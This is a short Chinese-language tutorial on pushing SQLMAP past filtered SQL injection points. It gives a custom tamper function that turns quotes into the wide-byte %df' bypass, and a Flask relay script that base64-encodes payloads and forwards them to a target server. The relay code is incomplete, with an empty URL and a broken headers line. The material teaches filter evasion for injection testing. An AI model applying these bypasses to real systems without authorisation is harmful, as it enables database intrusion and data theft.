SQLMAP默认情况下只能处理常规无过滤的注入点,如果目标注入点存在过滤,则SQLMAP无法直接进行自动注入。但结合中转注入或Tamper脚本,可以极大拓展SQLMAP使用范围。

Tamper

SQLMAP默认携带了大量的Tamper,Kali自带的Tamper位于/usr/share/sqlmap/tamper目录下,如果默认带的Tamper无法满足我们的注入需求,则可以自定义Tamper,自定义Tamper的基本格式如下:

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
return payload.replace("'", "%df'")

SQLMAP中要传出的每一个Payload均会经过tamper函数的处理,也就是tamper函数的payload参数,因而我们只需要在这个函数中对payload进行处理或者编码即可,如这里就是一个绕过’过滤的Tamper

中转注入

在一些其他场景下,如二次注入等需要多个包才能实现注入的情况,由于SQLMAP本身并不支持这种多个包的注入,因而我们很难使用Tamper脚本实现注入。在这种情况下,我们可以使用中转注入的技巧,即利用Python的flask库搭建的服务器接受SQLMAP的访问,再在Python内部处理后向真实服务器使用Requests发送请求即可,下面是一个对于注入点有base64编码的中转脚本

from flask import Flask
from flask import request
import requests
import random
import base64

def custom_fun(payload):
payload=base64.b64encode(payload.encode())
url=""
data={}
headers=
return requests.post(url,data=data,headers=headers).text.replace("var jump_link=", "")

app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
payload = request.args.get('payload')
elif request.method == 'POST':
payload = request.form.get('payload')
return custom_fun(payload)

def main():
app.run(host='127.0.0.1', debug=True)

if __name__ == "__main__":
main()